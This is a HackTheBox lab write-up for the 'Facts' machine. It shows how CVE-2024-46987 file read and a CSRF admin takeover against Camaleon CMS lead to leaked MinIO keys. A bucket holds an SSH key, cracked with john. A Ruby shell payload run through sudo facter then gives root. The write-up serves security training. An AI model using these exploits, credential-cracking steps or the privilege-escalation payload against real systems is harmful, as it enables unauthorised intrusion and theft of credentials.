# Facts Writeup - HackTheBox

> Exploit information disclosure on a Linux web challenge by enumerating exposed endpoints to uncover hidden facts and capture the flag.

- **URL:** https://hackindex.io/writeups/facts
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://hacktheboxltd.sjv.io/facts
- **Tags:** privilege-escalation, sudo-misconfiguration, information-disclosure, s3, cve-2024-46987
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 2 min read
- **Published:** 2026-02-23
- **Updated:** 2026-06-16

## Discovery

```bash
nmap -p- --min-rate 10000 $TARGET_IP
# PORT      STATE SERVICE
# 22/tcp    open  ssh
# 80/tcp    open  http
# 54321/tcp open  unknown
```

Adding `facts.htb` to `/etc/hosts` based on the redirect from port 80, then running service detection:

```bash
nmap -sCV -p 22,80,54321 $TARGET_IP
# 22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
# 80/tcp    open  http    nginx 1.26.3 (Ubuntu)
# |_http-title: Did not follow redirect to http://facts.htb/
# 54321/tcp open  http    Golang net/http server
# |_http-server-header: MinIO
```

Port 54321 identifies as MinIO ,  a self-hosted S3-compatible object storage server. The XML error responses confirm the S3 API behavior. Port 80 redirects to `facts.htb`.

The site is a facts/trivia CMS. Page source reveals `camaleon_cms` in an OG image path. VHost enumeration returns nothing useful. The attack surface is: the CMS on port 80 and the MinIO API on port 54321.

## Initial Access

### Camaleon CMS ,  File Read and Admin Takeover (CVE-2024-46987)

Registration is open at `http://facts.htb/admin/register`. After creating an account, CVE-2024-46987 provides arbitrary file read for authenticated users. The exploit from [github.com/Goultarde/CVE-2024-46987](https://github.com/Goultarde/CVE-2024-46987) handles authentication and the path traversal automatically.

```bash
python3 CVE-2024-46987.py -u http://facts.htb \
  -l testtesttest -p testtesttest \
  -v '/etc/passwd'
# [*] Récupération du token sur http://facts.htb/admin/login
# [*] Authentification réussie.
# root:x:0:0:root:/root:/bin/bash
# <snip>
# trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
# william:x:1001:1001::/home/william:/bin/bash
# <snip>
```

Two non-root login shells: `trivia` and `william`. Reading `/root/root.txt` returns HTTP 500 ,  root isn't reachable directly via this vector.

The same CVE release includes a separate privilege escalation within the CMS itself ,  a CSRF-based account takeover that promotes a registered user to admin by submitting a crafted password change request targeting a privileged user's profile:

```bash
python3 exp.py http://facts.htb testtesttest testtesttest
# [+] Login successful
# [i] Version detected: 2.9.0 (< 2.9.1) - appears to be vulnerable version
# [+] authenticity_token: hl5NCx3zaGccGsrK1wcad6...
# [+] Submit successful, you should be admin
```

### MinIO Credential Extraction

Navigating to the admin panel at `http://facts.htb/admin/settings/site` exposes the S3 backend configuration in plaintext:

```
Aws s3 access key:      $MINIO_ACCESS_KEY
Aws s3 secret key:      $MINIO_SECRET_KEY
Aws s3 bucket name:     randomfacts
Aws s3 region:          us-east-1
Aws s3 bucket endpoint: http://localhost:54321
```

Configuring the AWS CLI against the MinIO endpoint:

```bash
aws configure --profile facts
# enter access key, secret key, region us-east-1

aws s3 ls --endpoint-url http://facts.htb:54321 --profile facts
# 2025-09-11 14:06:52 internal
# 2025-09-11 14:06:52 randomfacts
```

Two buckets. `randomfacts` holds the CMS media files. `internal` is unexpected:

```bash
aws s3 ls s3://internal --endpoint-url http://facts.htb:54321 --profile facts
# PRE .bundle/
#                            PRE .cache/
#                            PRE .ssh/
# 2026-01-08 19:45:13        220 .bash_logout
# 2026-01-08 19:45:13       3900 .bashrc
# 2026-01-08 19:47:17        807 .profile
```

This is a user's home directory synced to S3. The `.ssh/` prefix means there's a keypair inside. Syncing the entire bucket locally:

```bash
aws s3 sync s3://internal . \
  --endpoint-url http://facts.htb:54321 --profile facts
# download: s3://internal/.ssh/authorized_keys to .ssh/authorized_keys
# download: s3://internal/.ssh/id_ed25519 to .ssh/id_ed25519
```

### SSH Key Cracking

The private key is passphrase-protected:

```bash
ssh2john id_ed25519 > id_ed25519.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_ed25519.hash
# dragonballz      (id_ed25519)
# 1g 0:00:00:52 DONE
```

Strip the passphrase and connect as `trivia` ,  the user whose home directory was exposed in the `internal` bucket:

```bash
cp id_ed25519 id_ed25519_nopass
ssh-keygen -p -P '$ID_ED25519_PASSPHRASE' -N '' -f id_ed25519_nopass
ssh trivia@$TARGET_IP -i id_ed25519_nopass
# trivia@facts:~$
#
#
```

## Privilege Escalation

```bash
sudo -l
# User trivia may run the following commands on facts:
#     (ALL) NOPASSWD: /usr/bin/facter
```

`facter` is a Ruby-based system facts tool. It supports loading custom fact definitions via `--custom-dir`, and those definitions are executed as Ruby code. With `sudo`, custom Ruby runs as root.

Creating the payload in the home directory:

```bash
cat > /home/trivia/shell.rb << 'EOF'
Process.euid == 0 or abort "Need root privileges"
exec ENV["SHELL"] || "/bin/bash", "-l"
EOF
sudo facter --custom-dir=/home/trivia x
# root@facts:/home/trivia#
#
#
```

`facter` loads every `.rb` file in the custom directory before processing the requested fact. The script checks `euid == 0` to confirm it's running with root privileges, then execs a root bash session.

Related

## References

- [https://github.com/Goultarde/CVE-2024-46987](https://github.com/Goultarde/CVE-2024-46987) - Camaleon CMS 2.9.0 arbitrary file read
- [https://www.exploit-db.com/exploits/51734](https://www.exploit-db.com/exploits/51734) - MinIO admin API reconnaissance
- [https://gtfobins.github.io/gtfobins/facter/](https://gtfobins.github.io/gtfobins/facter/) - facter sudo privilege escalation
- [https://min.io/docs/minio/linux/reference/minio-server/minio-server.html](https://min.io/docs/minio/linux/reference/minio-server/minio-server.html) - MinIO server documentation
